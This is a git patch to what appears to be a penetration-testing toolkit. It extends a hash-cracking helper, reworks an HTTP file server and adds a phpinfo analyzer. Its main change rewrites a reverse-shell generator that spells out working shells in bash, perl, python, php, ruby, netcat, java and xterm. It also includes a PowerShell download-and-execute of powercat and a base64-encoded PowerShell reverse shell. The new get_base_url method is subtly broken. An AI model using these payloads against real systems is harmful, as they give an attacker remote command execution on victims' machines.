From c297fa6a1a4030d2676cdd3e8025cdfed206fb3d Mon Sep 17 00:00:00 2001 From: Roman Hergenreder Date: Wed, 8 Dec 2021 17:50:48 +0100 Subject: [PATCH] update --- crack_hash.py | 6 ++++++ fileserver.py | 49 ++++++++++++++++++++++++++++++++++++--------- genRevShell.py | 30 ++++++++++++++++++--------- phpinfo-analyzer.py | 31 ++++++++++++++++++++++++++++ 4 files changed, 96 insertions(+), 20 deletions(-) create mode 100644 phpinfo-analyzer.py diff --git a/crack_hash.py b/crack_hash.py index 7a8fd8f..7e084b8 100755 --- a/crack_hash.py +++ b/crack_hash.py @@ -33,12 +33,14 @@ class HashType(enum.Enum): RAW_SHA2_224 = 1300 RAW_SHA2_256 = 1400 SHA256_PASS_SALT = 1410 + SSHA256 = 1411 SHA256_SALT_PASS = 1420 HMAC_SHA256_PASS = 1450 HMAC_SHA256_SALT = 1460 RAW_SHA2_384 = 10800 RAW_SHA2_512 = 1700 SHA512_PASS_SALT = 1710 + SSHA512 = 1711 SHA512_SALT_PASS = 1720 # SHA3 @@ -145,6 +147,10 @@ class Hash: self.type.append(HashType.SHA1) elif hash_type == "SSHA": self.type.append(HashType.SSHA1) + elif hash_type == "SSHA256": + self.type.append(HashType.SSHA256) + elif hash_type == "SSHA512": + self.type.append(HashType.SSHA512) if ":" in raw_hash: parts = raw_hash.split(":") diff --git a/fileserver.py b/fileserver.py index 5944c96..47dff3b 100755 --- a/fileserver.py +++ b/fileserver.py @@ -5,6 +5,7 @@ from urllib.parse import urlparse import threading import requests import sys +import time import os import ssl import util @@ -82,6 +83,9 @@ class FileServerRequestHandler(BaseHTTPRequestHandler): data = b"" if len(result) < 2 else result[1] headers = { } if len(result) < 3 else result[2] + if path in self.server.dumpRequests: + headers["Access-Control-Allow-Origin"] = "*" + if len(headers) == 0: self.send_response(status_code) else: @@ -128,6 +132,8 @@ class HttpFileServer(HTTPServer): self.dumpRequests = [] self.prefix_routes = { } self.is_running = True + self.listen_thread = None + self.has_exited = False def cleanPath(self, path): @@ -164,12 +170,14 @@ class HttpFileServer(HTTPServer): def enableLogging(self): self.logRequests = True - def enableSSL(self, keyFile=None, certFile=None): - if keyFile is None: - print("Generating certificate…") + def enableSSL(self, keyFile="private.key", certFile="server.crt"): + + if not os.path.isfile(keyFile): + print("Generating private key and certificate…") os.system("openssl req -new -x509 -keyout private.key -out server.crt -days 365 -nodes") - certFile = "server.crt" - keyFile = "private.key" + elif not os.path.isfile(certFile): + print("Generating certificate…") + os.system("openssl req -new -x509 -keyin private.key -out server.crt -days 365 -nodes") self.socket = ssl.wrap_socket(self.socket, server_side=True, @@ -185,21 +193,42 @@ class HttpFileServer(HTTPServer): # pass def startBackground(self): - t = threading.Thread(target=self.serve_forever) - t.start() - return t + self.listen_thread = threading.Thread(target=self.serve_forever) + self.listen_thread.start() + return self.listen_thread def start(self): return self.serve_forever() + def get_base_url(): + addr, port = self.server_address + if port != 80: + port = f":{port}" + protocol = "https" if gettype(self.socket) == ssl.SSLSocket else "http" + return f"{protocol}://{addr}{port}" + def stop(self): self.is_running = False - # dummy request - requests.get(f"http://{self.server_name}:{self.server_port}/dummy") + time.sleep(1) + + try: + # dummy request + for i in range(3): + requests.get(f"{self.get_base_url()}/dummy") + if self.has_exited: + break + time.sleep(1) + except: + pass + + if self.listen_thread != threading.currentThread(): + self.listen_thread.join() def serve_forever(self): + self.has_exited = False while self.is_running: self.handle_request() + self.has_exited = True if __name__ == "__main__": diff --git a/genRevShell.py b/genRevShell.py index 3fd76d5..44c8219 100755 --- a/genRevShell.py +++ b/genRevShell.py @@ -68,32 +68,42 @@ class ShellListener: while self.running and self.connection is not None: self.sendline(input()) -def generatePayload(type, local_address, port): +def generatePayload(type, local_address, port, index=None): + + commands = [] if type == "bash": - return "bash -i >& /dev/tcp/%s/%d 0>&1" % (local_address, port) + commands.append(f"bash -i >& /dev/tcp/{local_address}/{port} 0>&1") elif type == "perl": - return "perl -e 'use Socket;$i=\"%s\";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");};'\n" \ - "perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,\"%s:%d\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'" % (local_address, port, local_address, port) + commands.append(f"perl -e 'use Socket;$i=\"{local_address}\";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");}};'") + commands.append(f"perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,\"{local_address}:{port}\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'") elif type == "python" or type == "python2" or type == "python3": binary = type - return "%s -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"%s\",%d));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'" % (binary, local_address, port) + commands.append(f"{binary} -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{local_address}\",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'") elif type == "php": - return "php -r '$sock=fsockopen(\"%s\",%d);exec(\"/bin/bash -i <&3 >&3 2>&3\");'" % (local_address, port) + commands.append(f"php -r '$sock=fsockopen(\"{local_address}\",{port});exec(\"/bin/bash -i <&3 >&3 2>&3\");'") elif type == "ruby": - return "ruby -rsocket -e'f=TCPSocket.open(\"%s\",%d).to_i;exec sprintf(\"/bin/bash -i <&%d >&%d 2>&%d\",f,f,f)'" % (local_address, port) + commands.append(f"ruby -rsocket -e'f=TCPSocket.open(\"{local_address}\",{port}).to_i;exec sprintf(\"/bin/bash -i <&%d >&%d 2>&%d\",f,f,f)'") elif type == "netcat" or type == "nc": - return "nc -e /bin/bash %s %d\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc %s %d >/tmp/f" % (local_address, port, local_address, port) + commands.append(f"nc -e /bin/bash {local_address} {port}") + commands.append(f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc {local_address} {port} >/tmp/f") elif type == "java": - return "r = Runtime.getRuntime()\np = r.exec([\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/%s/%d;cat <&5 | while read line; do \\$line 2>&5 >&5; done\"] as String[])\np.waitFor()" % (local_address, port) + commands.append(f"r = Runtime.getRuntime()\np = r.exec([\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/{local_address}/{port};cat <&5 | while read line; do \\$line 2>&5 >&5; done\"] as String[])\np.waitFor()") elif type == "xterm": - return "xterm -display %s:1" % (local_address) + commands.append(f"xterm -display {local_address}:1") elif type == "powercat": return "powershell.exe -c \"IEX(New-Object System.Net.WebClient).DownloadString('http://%s/powercat.ps1');powercat -c %s -p %d -e cmd\"" % (local_address, local_address, port) elif type == "powershell": payload = '$a=New-Object System.Net.Sockets.TCPClient("%s",%d);$d=$a.GetStream();[byte[]]$k=0..65535|%%{0};while(($i=$d.Read($k,0,$k.Length)) -ne 0){;$o=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($k,0,$i);$q=(iex $o 2>&1|Out-String);$c=$q+"$ ";$b=([text.encoding]::ASCII).GetBytes($c);$d.Write($b,0,$b.Length);$d.Flush()};$a.Close();' % (local_address, port) payload_encoded = base64.b64encode(payload.encode("UTF-16LE")).decode() return f"powershell.exe -exec bypass -enc {payload_encoded}" + else: + return None + + if index is None or index < 0 or index >= len(commands): + return "\n".join(commands) + else: + return commands[index] def spawn_listener(port): pty.spawn(["nc", "-lvvp", str(port)]) diff --git a/phpinfo-analyzer.py b/phpinfo-analyzer.py new file mode 100644 index 0000000..fedf921 --- /dev/null +++ b/phpinfo-analyzer.py @@ -0,0 +1,31 @@ +import requests +import sys +from bs4 import BeautifulSoup + +def analyze(soup): + tables = soup.find_all("table") + for table in tables: + thead = table.find("tr", { "class": "h" }) + if not thead or len(thead.find_all("th")) != 3: + continue + + for tr in table.find_all("tr"): + tds = tr.find_all("td") + if len(tds) != 3: + continue + + label, local, master = tds + if local.text != master.text: + print(f"[+] {label.text} differs. local={local.text} master={master.text}") + +if __name__ == "__main__": + if len(sys.argv) < 2: + print("Usage: %s ", sys.argv[0]) + else: + url = sys.argv[1] + res = requests.get(url) + if res.status_code != 200: + print("[-] Server returned:", res.status_code, res.reason) + else: + soup = BeautifulSoup(res.text, "html.parser") + analyze(soup)